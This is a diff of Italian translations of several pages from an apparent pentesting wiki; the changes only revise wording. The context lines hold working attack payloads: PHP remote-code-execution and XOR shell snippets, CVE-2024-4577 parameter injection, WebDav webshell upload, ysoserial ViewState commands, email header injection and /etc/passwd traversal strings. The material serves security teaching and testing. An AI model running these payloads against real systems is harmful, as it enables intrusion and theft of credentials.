Nello scenario seguente, **l'attaccante ha fatto generare al server alcuni grandi errori**, e come puoi vedere nello schermo, quando PHP ha cercato di **modificare le informazioni dell'intestazione, non ci è riuscito** (quindi, ad esempio, l'intestazione CSP non è stata inviata all'utente):
|
||||
|
||||
.png>)
|
||||
@ -200,10 +200,10 @@ php-ssrf.md
|
||||
## Esecuzione di codice
|
||||
|
||||
**system("ls");**\
|
||||
&#xNAN;**\`ls\`;**\
|
||||
**\`ls\`;**\
|
||||
**shell_exec("ls");**
|
||||
|
||||
[Controlla questo per altre utili funzioni PHP](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
|
||||
[Controlla questo per altre funzioni PHP utili](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
|
||||
|
||||
### **RCE tramite** **preg_replace()**
|
||||
```php
|
||||
@ -263,15 +263,15 @@ Per scoprire il numero di parentesi che devi chiudere:
|
||||
|
||||
- `?order=id;}//`: otteniamo un messaggio di errore (`Parse error: syntax error, unexpected ';'`). Probabilmente ci manca una o più parentesi.
|
||||
- `?order=id);}//`: otteniamo un **avviso**. Sembra corretto.
|
||||
- `?order=id));}//`: otteniamo un messaggio di errore (`Parse error: syntax error, unexpected ')' i`). Probabilmente abbiamo troppe parentesi di chiusura.
|
||||
- `?order=id));}//`: otteniamo un messaggio di errore (`Parse error: syntax error, unexpected ')' i`). Probabilmente abbiamo troppe parentesi chiuse.
|
||||
|
||||
### **RCE tramite .httaccess**
|
||||
### **RCE via .httaccess**
|
||||
|
||||
Se puoi **caricare** un **.htaccess**, allora puoi **configurare** diverse cose e persino eseguire codice (configurando che i file con estensione .htaccess possano essere **eseguiti**).
|
||||
Se puoi **caricare** un **.htaccess**, allora puoi **configurare** diverse cose e persino eseguire codice (configurando che i file con estensione .htaccess possono essere **eseguiti**).
|
||||
|
||||
Diverse shell .htaccess possono essere trovate [qui](https://github.com/wireghoul/htshells)
|
||||
|
||||
### RCE tramite variabili Env
|
||||
### RCE via Env Variables
|
||||
|
||||
Se trovi una vulnerabilità che ti consente di **modificare le variabili env in PHP** (e un'altra per caricare file, anche se con ulteriori ricerche forse questo può essere aggirato), potresti abusare di questo comportamento per ottenere **RCE**.
|
||||
|
||||
@ -290,7 +290,7 @@ Se trovi una vulnerabilità che ti consente di **modificare le variabili env in
|
||||
|
||||
### XAMPP CGI RCE - CVE-2024-4577
|
||||
|
||||
Il server web analizza le richieste HTTP e le passa a uno script PHP eseguendo una richiesta come [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) come `php.exe cgi.php foo=bar`, il che consente un'iniezione di parametri. Questo permetterebbe di iniettare i seguenti parametri per caricare il codice PHP dal corpo:
|
||||
Il server web analizza le richieste HTTP e le passa a uno script PHP eseguendo una richiesta come [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) come `php.exe cgi.php foo=bar`, il che consente un'iniezione di parametri. Questo consentirebbe di iniettare i seguenti parametri per caricare il codice PHP dal corpo:
|
||||
```jsx
|
||||
-d allow_url_include=1 -d auto_prepend_file=php://input
|
||||
```
|
||||
@ -309,10 +309,10 @@ phpinfo();
|
||||
?>
|
||||
|
||||
```
|
||||
## Bypass della sanitizzazione PHP & Brain Fuck
|
||||
## PHP Sanitization bypass & Brain Fuck
|
||||
|
||||
[**In questo post**](https://blog.redteam-pentesting.de/2024/moodle-rce/) è possibile trovare ottime idee per generare un codice PHP brain fuck con pochissimi caratteri consentiti.\
|
||||
Inoltre viene proposta anche un'interessante modalità per eseguire funzioni che consentono di bypassare diversi controlli:
|
||||
[**In this post**](https://blog.redteam-pentesting.de/2024/moodle-rce/) è possibile trovare ottime idee per generare un codice PHP brain fuck con pochissimi caratteri consentiti.\
|
||||
Inoltre viene proposta un'interessante modalità per eseguire funzioni che consentono di bypassare diversi controlli:
|
||||
```php
|
||||
(1)->{system($_GET[chr(97)])}
|
||||
```
|
||||
@ -375,7 +375,7 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
||||
```
|
||||
### XOR easy shell code
|
||||
|
||||
Secondo [**questo writeup**](https://mgp25.com/ctf/Web-challenge/) è possibile generare un easy shellcode in questo modo:
|
||||
Secondo [**questo writeup** ](https://mgp25.com/ctf/Web-challenge/) è possibile generare un easy shellcode in questo modo:
|
||||
```php
|
||||
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
||||
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||
|
||||
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Quando si tratta di un **server HTTP con WebDav** abilitato, è possibile **manipolare file** se si dispone delle giuste **credenziali**, solitamente verificate tramite **HTTP Basic Authentication**. Ottenere il controllo su un tale server comporta spesso il **caricamento e l'esecuzione di un webshell**.
|
||||
Quando si tratta di un **server HTTP con WebDav** abilitato, è possibile **manipolare file** se si dispone delle giuste **credenziali**, solitamente verificate tramite **HTTP Basic Authentication**. Ottenere il controllo su un tale server comporta spesso **il caricamento e l'esecuzione di un webshell**.
|
||||
|
||||
L'accesso al server WebDav richiede tipicamente **credenziali valide**, con [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) che è un metodo comune per acquisirle.
|
||||
|
||||
Per superare le restrizioni sui caricamenti di file, specialmente quelle che impediscono l'esecuzione di script lato server, potresti:
|
||||
|
||||
- **Caricare** file con **estensioni eseguibili** direttamente se non ci sono restrizioni.
|
||||
- **Caricare** file con **estensioni eseguibili** direttamente se non sono vietati.
|
||||
- **Rinominare** file non eseguibili caricati (come .txt) in un'estensione eseguibile.
|
||||
- **Copiare** file non eseguibili caricati, cambiando la loro estensione in una che sia eseguibile.
|
||||
|
||||
@ -48,7 +48,7 @@ Poi puoi **caricare** il tuo shell come un file ".**txt" e **copiare/spostarlo i
|
||||
## Post credentials
|
||||
|
||||
Se il Webdav stava usando un server Apache dovresti controllare i siti configurati in Apache. Comunemente:\
|
||||
\&#xNAN;_**/etc/apache2/sites-enabled/000-default**_
|
||||
\_**/etc/apache2/sites-enabled/000-default**_
|
||||
|
||||
All'interno potresti trovare qualcosa come:
|
||||
```
|
||||
@ -65,9 +65,9 @@ Come puoi vedere, ci sono i file con le **credenziali** valide per il server **w
|
||||
```
|
||||
/etc/apache2/users.password
|
||||
```
|
||||
All'interno di questo tipo di file troverai il **nome utente** e un **hash** della password. Queste sono le credenziali che il server webdav utilizza per autenticare gli utenti.
|
||||
All'interno di questo tipo di file troverai il **username** e un **hash** della password. Queste sono le credenziali che il server webdav utilizza per autenticare gli utenti.
|
||||
|
||||
Puoi provare a **crackare** queste credenziali, o **aggiungerne di più** se per qualche motivo desideri **accedere** al server **webdav**:
|
||||
Puoi provare a **crackare** queste credenziali, o a **aggiungerne di più** se per qualche motivo desideri **accedere** al server **webdav**:
|
||||
```bash
|
||||
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
|
||||
```
|
||||
|
||||
@ -2,19 +2,19 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Cos'è il Clickjacking
|
||||
## What is Clickjacking
|
||||
|
||||
In un attacco di clickjacking, un **utente** viene **ingannato** a **cliccare** su un **elemento** di una pagina web che è **invisibile** o mascherato da un altro elemento. Questa manipolazione può portare a conseguenze indesiderate per l'utente, come il download di malware, il reindirizzamento a pagine web malevole, la fornitura di credenziali o informazioni sensibili, trasferimenti di denaro o l'acquisto online di prodotti.
|
||||
In un attacco di clickjacking, un **utente** viene **ingannato** a **cliccare** su un **elemento** di una pagina web che è o **invisibile** o mascherato da un altro elemento. Questa manipolazione può portare a conseguenze indesiderate per l'utente, come il download di malware, il reindirizzamento a pagine web malevole, la fornitura di credenziali o informazioni sensibili, trasferimenti di denaro o l'acquisto online di prodotti.
|
||||
|
||||
### Trucco per precompilare i moduli
|
||||
### Prepopulate forms trick
|
||||
|
||||
A volte è possibile **compilare il valore dei campi di un modulo utilizzando parametri GET durante il caricamento di una pagina**. Un attaccante può abusare di questo comportamento per riempire un modulo con dati arbitrari e inviare il payload di clickjacking affinché l'utente prema il pulsante Invia.
|
||||
|
||||
### Compilare il modulo con Drag\&Drop
|
||||
### Populate form with Drag\&Drop
|
||||
|
||||
Se hai bisogno che l'utente **compili un modulo** ma non vuoi chiedergli direttamente di scrivere alcune informazioni specifiche (come l'email o una password specifica che conosci), puoi semplicemente chiedergli di **Drag\&Drop** qualcosa che scriverà i tuoi dati controllati come in [**questo esempio**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||||
|
||||
### Payload di base
|
||||
### Basic Payload
|
||||
```markup
|
||||
<style>
|
||||
iframe {
|
||||
@ -91,14 +91,14 @@ background: #F00;
|
||||
|
||||
Se hai identificato un **attacco XSS che richiede a un utente di cliccare** su qualche elemento per **attivare** l'XSS e la pagina è **vulnerabile al clickjacking**, potresti abusarne per ingannare l'utente a cliccare sul pulsante/link.\
|
||||
Esempio:\
|
||||
&#xNAN;_You hai trovato un **self XSS** in alcuni dettagli privati dell'account (dettagli che **solo tu puoi impostare e leggere**). La pagina con il **modulo** per impostare questi dettagli è **vulnerabile** al **Clickjacking** e puoi **precompilare** il **modulo** con i parametri GET._\
|
||||
_You hai trovato un **self XSS** in alcuni dettagli privati dell'account (dettagli che **solo tu puoi impostare e leggere**). La pagina con il **modulo** per impostare questi dettagli è **vulnerabile** al **Clickjacking** e puoi **precompilare** il **modulo** con i parametri GET._\
|
||||
\_\_Un attaccante potrebbe preparare un **attacco Clickjacking** a quella pagina **precompilando** il **modulo** con il **payload XSS** e **ingannando** l'**utente** a **inviare** il modulo. Quindi, **quando il modulo viene inviato** e i valori vengono modificati, l'**utente eseguirà l'XSS**.
|
||||
|
||||
## Strategie per Mitigare il Clickjacking
|
||||
|
||||
### Difese Lato Client
|
||||
|
||||
Gli script eseguiti sul lato client possono eseguire azioni per prevenire il Clickjacking:
|
||||
Gli script eseguiti lato client possono eseguire azioni per prevenire il Clickjacking:
|
||||
|
||||
- Assicurarsi che la finestra dell'applicazione sia la finestra principale o superiore.
|
||||
- Rendere tutti i frame visibili.
|
||||
@ -153,16 +153,16 @@ La **Content Security Policy (CSP)** è una misura di sicurezza che aiuta a prev
|
||||
```
|
||||
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
|
||||
```
|
||||
Questa politica consente frame dalla stessa origine (self) e https://trusted-website.com.
|
||||
Questa politica consente i frame dalla stessa origine (self) e https://trusted-website.com.
|
||||
|
||||
#### Direttiva `child-src`
|
||||
#### `child-src` Direttiva
|
||||
|
||||
- Introdotta nel livello 2 di CSP per impostare fonti valide per i web worker e i frame.
|
||||
- Funziona come un fallback per frame-src e worker-src.
|
||||
```
|
||||
Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
||||
```
|
||||
Questa politica consente frame e worker dallo stesso origine (self) e https://trusted-website.com.
|
||||
Questa politica consente frame e worker dalla stessa origine (self) e https://trusted-website.com.
|
||||
|
||||
**Note sull'uso:**
|
||||
|
||||
|
||||
@ -6,13 +6,13 @@
|
||||
|
||||
## Cos'è ViewState
|
||||
|
||||
**ViewState** funge da meccanismo predefinito in ASP.NET per mantenere i dati della pagina e del controllo tra le pagine web. Durante il rendering dell'HTML di una pagina, lo stato attuale della pagina e i valori da preservare durante un postback vengono serializzati in stringhe codificate in base64. Queste stringhe vengono quindi inserite in campi ViewState nascosti.
|
||||
**ViewState** funge da meccanismo predefinito in ASP.NET per mantenere i dati della pagina e del controllo tra le pagine web. Durante il rendering dell'HTML di una pagina, lo stato attuale della pagina e i valori da preservare durante un postback vengono serializzati in stringhe codificate in base64. Queste stringhe vengono quindi collocate in campi ViewState nascosti.
|
||||
|
||||
Le informazioni di ViewState possono essere caratterizzate dalle seguenti proprietà o dalle loro combinazioni:
|
||||
|
||||
- **Base64**:
|
||||
- Questo formato è utilizzato quando sia l'attributo `EnableViewStateMac` che l'attributo `ViewStateEncryptionMode` sono impostati su false.
|
||||
- **Base64 + MAC (Codice di Autenticazione del Messaggio) Abilitato**:
|
||||
- **Base64 + MAC (Message Authentication Code) Abilitato**:
|
||||
- L'attivazione del MAC si ottiene impostando l'attributo `EnableViewStateMac` su true. Questo fornisce una verifica di integrità per i dati di ViewState.
|
||||
- **Base64 + Crittografato**:
|
||||
- La crittografia viene applicata quando l'attributo `ViewStateEncryptionMode` è impostato su true, garantendo la riservatezza dei dati di ViewState.
|
||||
@ -28,7 +28,7 @@ L'immagine è una tabella che dettaglia diverse configurazioni per ViewState in
|
||||
|
||||
### Caso di Test: 1 – EnableViewStateMac=false e viewStateEncryptionMode=false
|
||||
|
||||
È anche possibile disabilitare completamente il ViewStateMAC impostando la chiave di registro `AspNetEnforceViewStateMac` su zero in:
|
||||
È anche possibile disabilitare completamente il ViewStateMAC impostando la chiave di registro `AspNetEnforceViewStateMac` a zero in:
|
||||
```
|
||||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||||
```
|
||||
@ -42,7 +42,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
|
||||
|
||||
Gli sviluppatori possono **rimuovere ViewState** affinché non diventi parte di una richiesta HTTP (l'utente non riceverà questo cookie).\
|
||||
Si potrebbe assumere che se **ViewState** non è **presente**, la loro implementazione è **sicura** da potenziali vulnerabilità derivanti dalla deserializzazione di ViewState.\
|
||||
Tuttavia, non è così. Se **aggiungiamo il parametro ViewState** al corpo della richiesta e inviamo il nostro payload serializzato creato utilizzando ysoserial, saremo ancora in grado di ottenere **l'esecuzione di codice** come mostrato nel **Caso 1**.
|
||||
Tuttavia, non è così. Se **aggiungiamo il parametro ViewState** al corpo della richiesta e inviamo il nostro payload serializzato creato utilizzando ysoserial, saremo comunque in grado di ottenere **esecuzione di codice** come mostrato nel **Caso 1**.
|
||||
|
||||
### Test Case: 2 – .Net < 4.5 e EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
|
||||
@ -50,7 +50,7 @@ Per **abilitare ViewState MAC** per una **pagina specifica** dobbiamo apportare
|
||||
```bash
|
||||
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
|
||||
```
|
||||
Possiamo farlo anche per l'applicazione **complessiva** impostandolo nel file **web.config** come mostrato di seguito:
|
||||
Possiamo farlo anche per l'**applicazione** **complessiva** impostandolo nel file **web.config** come mostrato di seguito:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<configuration>
|
||||
@ -70,7 +70,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
|
||||
--encrypteddata : __VIEWSTATE parameter value of the target application
|
||||
--modifier : __VIWESTATEGENERATOR parameter value
|
||||
```
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) è un altro strumento che può identificare machineKeys noti. È scritto in Python, quindi a differenza di Blacklist3r, non ha dipendenze da Windows. Per i viewstate .NET, c'è un'utilità "python blacklist3r", che è il modo più veloce per usarlo.
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) è un altro strumento che può identificare machineKeys noti. È scritto in Python, quindi a differenza di Blacklist3r, non ci sono dipendenze da Windows. Per i viewstate .NET, c'è un'utilità "python blacklist3r", che è il modo più veloce per usarlo.
|
||||
|
||||
Può essere fornito direttamente con il viewstate e il generatore:
|
||||
```
|
||||
@ -102,7 +102,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
||||
|
||||
--generator = {__VIWESTATEGENERATOR parameter value}
|
||||
```
|
||||
Nei casi in cui il parametro `_VIEWSTATEGENERATOR` **non viene inviato** dal server, **non** è necessario **fornire** il parametro `--generator`, **ma questi**:
|
||||
Nei casi in cui il parametro `_VIEWSTATEGENERATOR` **non viene inviato** dal server, **non** è necessario **fornire** il parametro `--generator` **ma questi**:
|
||||
```bash
|
||||
--apppath="/" --path="/hello.aspx"
|
||||
```
|
||||
@ -159,24 +159,22 @@ Un'esploitazione riuscita della vulnerabilità di deserializzazione di ViewState
|
||||
|
||||
### Test Case 6 – ViewStateUserKeys è in uso
|
||||
|
||||
La proprietà **ViewStateUserKey** può essere utilizzata per **difendersi** da un **attacco CSRF**. Se una tale chiave è stata definita nell'applicazione e proviamo a generare il payload **ViewState** con i metodi discussi fino ad ora, il **payload non verrà elaborato dall'applicazione**.\
|
||||
La proprietà **ViewStateUserKey** può essere utilizzata per **difendersi** da un **attacco CSRF**. Se tale chiave è stata definita nell'applicazione e proviamo a generare il payload **ViewState** con i metodi discussi fino ad ora, il **payload non verrà elaborato dall'applicazione**.\
|
||||
Devi usare un parametro in più per creare correttamente il payload:
|
||||
```bash
|
||||
--viewstateuserkey="randomstringdefinedintheserver"
|
||||
```
|
||||
### Risultato di un'Esplorazione Riuscita <a href="#poc" id="poc"></a>
|
||||
|
||||
Per tutti i casi di test, se il payload ViewState YSoSerial.Net funziona **con successo**, il server risponde con “**500 Internal server error**” con contenuto della risposta “**Le informazioni di stato non sono valide per questa pagina e potrebbero essere corrotte**” e otteniamo la richiesta OOB.
|
||||
Per tutti i casi di test, se il payload ViewState YSoSerial.Net funziona **con successo**, il server risponde con “**500 Internal server error**” con contenuto di risposta “**Le informazioni di stato non sono valide per questa pagina e potrebbero essere corrotte**” e otteniamo la richiesta OOB.
|
||||
|
||||
Controlla per [ulteriori informazioni qui](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||||
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\
|
||||
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||||
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Inietta in e-mail inviate
|
||||
## Inietta in e-mail inviati
|
||||
|
||||
### Inietta Cc e Bcc dopo l'argomento del mittente
|
||||
```
|
||||
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
|
||||
```
|
||||
Il messaggio verrà inviato agli account del destinatario e di recipient1.
|
||||
Il messaggio verrà inviato agli account del destinatario e del destinatario1.
|
||||
|
||||
### Inietta argomento
|
||||
```
|
||||
@ -54,7 +54,7 @@ Un attaccante può **iniettare parametri estratti per sendmail** in questo caso.
|
||||
|
||||
#### Differenze nell'implementazione di /usr/sbin/sendmail
|
||||
|
||||
L'interfaccia **sendmail** è **fornita dal software MTA email** (Sendmail, Postfix, Exim, ecc.) installato sul sistema. Anche se la **funzionalità di base** (come i parametri -t -i -f) rimane **la stessa** per motivi di compatibilità, **altre funzioni e parametri** variano notevolmente a seconda dell'MTA installato.
|
||||
L'interfaccia **sendmail** è **fornita dal software MTA email** (Sendmail, Postfix, Exim, ecc.) installato sul sistema. Sebbene la **funzionalità di base** (come i parametri -t -i -f) rimanga **la stessa** per motivi di compatibilità, **altre funzioni e parametri** variano notevolmente a seconda dell'MTA installato.
|
||||
|
||||
Ecco alcuni esempi di diverse pagine man del comando/interfaccia sendmail:
|
||||
|
||||
@ -64,7 +64,7 @@ Ecco alcuni esempi di diverse pagine man del comando/interfaccia sendmail:
|
||||
|
||||
A seconda dell'**origine del binario sendmail**, sono state scoperte diverse opzioni per abusarne e **leakare file o persino eseguire comandi arbitrari**. Controlla come in [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
|
||||
|
||||
## Iniettare nel nome dell'email
|
||||
## Iniettare nel nome e-mail
|
||||
|
||||
> [!CAUTION]
|
||||
> Nota che se riesci a creare un account in un servizio con un nome di dominio arbitrario (come Github, Gitlab, CloudFlare Zero trust...) e verificarlo ricevendo l'email di verifica nel tuo indirizzo email, potresti essere in grado di accedere a posizioni sensibili dell'azienda vittima.
|
||||
@ -94,16 +94,16 @@ Puoi anche usare IP come nomi di dominio tra parentesi quadre:
|
||||
- john.doe@\[127.0.0.1]
|
||||
- john.doe@\[IPv6:2001:db8::1]
|
||||
|
||||
### Codifica dell'email
|
||||
### Codifica Email
|
||||
|
||||
Come spiegato in [**questa ricerca**](https://portswigger.net/research/splitting-the-email-atom), i nomi delle email possono anche contenere caratteri codificati:
|
||||
Come spiegato in [**questa ricerca**](https://portswigger.net/research/splitting-the-email-atom), i nomi email possono anche contenere caratteri codificati:
|
||||
|
||||
- **Overflow PHP 256**: La funzione PHP `chr` continuerà ad aggiungere 256 a un carattere fino a diventare positivo e poi eseguire l'operazione `%256`.
|
||||
- `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
|
||||
|
||||
> [!TIP]
|
||||
> L'obiettivo di questo trucco è terminare con un'iniezione come `RCPT TO:<"collab@psres.net>collab"@example.com>`\
|
||||
> che invierà l'email di verifica a un indirizzo email diverso da quello previsto (pertanto per introdurre un altro indirizzo email all'interno del nome dell'email e rompere la sintassi durante l'invio dell'email).
|
||||
> che invierà l'email di verifica a un indirizzo email diverso da quello previsto (introducendo quindi un altro indirizzo email all'interno del nome email e rompendo la sintassi durante l'invio dell'email).
|
||||
|
||||
Diverse codifiche:
|
||||
```bash
|
||||
@ -140,7 +140,7 @@ Payloads:
|
||||
- Nota l'`@` codificato come =40, il `>` codificato come `=3e` e `null` come `=00` 
|
||||
- Invierà l'email di verifica a `collab@psres.net`
|
||||
- Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com`
|
||||
- Stesso trucco di prima ma aggiungendo una citazione regolare all'inizio e la citazione codificata `=22` prima dell'`@` codificato e poi iniziando e chiudendo alcune citazioni prima della prossima email per correggere la sintassi utilizzata internamente da Zendesk
|
||||
- Stesso trucco di prima ma aggiungendo una citazione regolare all'inizio e la citazione codificata `=22` prima dell'`@` codificato e poi aprendo e chiudendo alcune citazioni prima della prossima email per correggere la sintassi utilizzata internamente da Zendesk
|
||||
- Invierà l'email di verifica a `collab@psres.net`
|
||||
- Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com`
|
||||
- Nota l'uso dell'underscore come spazio per separare l'indirizzo
|
||||
@ -149,14 +149,14 @@ Payloads:
|
||||
|
||||
#### Tooling
|
||||
|
||||
- Esiste uno **script Burp Suite Turbo Intruder** per fuzzare questo tipo di combinazioni per cercare di attaccare i formati email. Lo script ha già combinazioni potenzialmente funzionanti.
|
||||
- Esiste uno **script Burp Suite Turbo Intruder** per fuzzare queste combinazioni per cercare di attaccare i formati email. Lo script ha già combinazioni potenzialmente funzionanti.
|
||||
- È anche possibile utilizzare [Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100) per creare un attacco di splitting email
|
||||
|
||||
### Altre vulnerabilità
|
||||
### Other vulns
|
||||
|
||||
.png>)
|
||||
|
||||
## SSO di terze parti
|
||||
## Third party SSO
|
||||
|
||||
### XSS
|
||||
|
||||
@ -165,15 +165,15 @@ Alcuni servizi come **github** o **salesforce** ti consentono di creare un **ind
|
||||
### Account-Takeover
|
||||
|
||||
Se un **servizio SSO** ti consente di **creare un account senza verificare l'indirizzo email fornito** (come **salesforce**) e poi puoi utilizzare quell'account per **accedere a un servizio diverso** che **si fida** di salesforce, potresti accedere a qualsiasi account.\
|
||||
&#xNAN;_Nota che salesforce indica se l'email fornita è stata o meno verificata, ma così l'applicazione dovrebbe tenere conto di queste informazioni._
|
||||
_Note che salesforce indica se l'email fornita è stata o meno verificata, ma l'applicazione dovrebbe tenere conto di queste informazioni._
|
||||
|
||||
## Reply-To
|
||||
|
||||
Puoi inviare un'email utilizzando _**From: company.com**_ e _**Replay-To: attacker.com**_ e se viene inviata una **risposta automatica** a causa dell'email inviata **da** un **indirizzo interno**, l'**attaccante** potrebbe essere in grado di **ricevere** quella **risposta**.
|
||||
|
||||
## Tasso di Hard Bounce
|
||||
## Hard Bounce Rate
|
||||
|
||||
Alcuni servizi, come AWS, implementano una soglia nota come **Hard Bounce Rate**, tipicamente impostata al 10%. Questa è una metrica critica, specialmente per i servizi di consegna email. Quando questo tasso viene superato, il servizio, come il servizio email di AWS, potrebbe essere sospeso o bloccato.
|
||||
Alcuni servizi, come AWS, implementano una soglia nota come **Hard Bounce Rate**, tipicamente impostata al 10%. Questo è un indicatore critico, specialmente per i servizi di consegna email. Quando questa soglia viene superata, il servizio, come il servizio email di AWS, potrebbe essere sospeso o bloccato.
|
||||
|
||||
Un **hard bounce** si riferisce a un **email** che è stata restituita al mittente perché l'indirizzo del destinatario è invalido o inesistente. Questo potrebbe verificarsi per vari motivi, come l'**email** inviata a un indirizzo non esistente, un dominio che non è reale, o il rifiuto del server del destinatario di accettare **email**.
|
||||
|
||||
@ -183,7 +183,7 @@ Nel contesto di AWS, se invii 1000 email e 100 di esse risultano in hard bounce
|
||||
|
||||
Per informazioni più dettagliate, è possibile fare riferimento alla documentazione ufficiale di AWS sulla gestione dei bounce e dei reclami [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
|
||||
|
||||
## Riferimenti
|
||||
## References
|
||||
|
||||
- [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
|
||||
- [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
|
||||
|
||||
@ -61,7 +61,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **Null byte (%00)**
|
||||
|
||||
Ignora l'aggiunta di più caratteri alla fine della stringa fornita (bypass di: $\_GET\['param']."php")
|
||||
Evitare di aggiungere più caratteri alla fine della stringa fornita (bypass di: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
@ -84,13 +84,13 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Esplorare le Directory del File System su un Server
|
||||
|
||||
Il file system di un server può essere esplorato ricorsivamente per identificare directory, non solo file, impiegando determinate tecniche. Questo processo implica la determinazione della profondità della directory e la verifica dell'esistenza di specifiche cartelle. Di seguito è riportato un metodo dettagliato per raggiungere questo obiettivo:
|
||||
Il file system di un server può essere esplorato ricorsivamente per identificare directory, non solo file, impiegando certe tecniche. Questo processo implica determinare la profondità della directory e sondare l'esistenza di specifiche cartelle. Di seguito è riportato un metodo dettagliato per raggiungere questo obiettivo:
|
||||
|
||||
1. **Determinare la Profondità della Directory:** Accertare la profondità della tua directory attuale recuperando con successo il file `/etc/passwd` (applicabile se il server è basato su Linux). Un esempio di URL potrebbe essere strutturato come segue, indicando una profondità di tre:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Indaga per Cartelle:** Aggiungi il nome della cartella sospetta (ad esempio, `private`) all'URL, quindi naviga di nuovo a `/etc/passwd`. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno:
|
||||
2. **Indaga per Cartelle:** Aggiungi il nome della cartella sospetta (ad esempio, `private`) all'URL, quindi torna a `/etc/passwd`. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
@ -110,8 +110,8 @@ Il troncamento del percorso è un metodo impiegato per manipolare i percorsi dei
|
||||
In PHP, varie rappresentazioni di un percorso di file possono essere considerate equivalenti a causa della natura del file system. Ad esempio:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` e `/etc/passwd/` sono tutti trattati come lo stesso percorso.
|
||||
- Quando gli ultimi 6 caratteri sono `passwd`, aggiungere un `/` (rendendolo `passwd/`) non cambia il file target.
|
||||
- Allo stesso modo, se `.php` viene aggiunto a un percorso di file (come `shellcode.php`), aggiungere un `/.` alla fine non altererà il file a cui si accede.
|
||||
- Quando gli ultimi 6 caratteri sono `passwd`, aggiungere un `/` (rendendolo `passwd/`) non cambia il file mirato.
|
||||
- Allo stesso modo, se `.php` viene aggiunto a un percorso di file (come `shellcode.php`), aggiungere `/.` alla fine non altererà il file a cui si accede.
|
||||
|
||||
Gli esempi forniti dimostrano come utilizzare il troncamento del percorso per accedere a `/etc/passwd`, un obiettivo comune a causa del suo contenuto sensibile (informazioni sugli account utente):
|
||||
```
|
||||
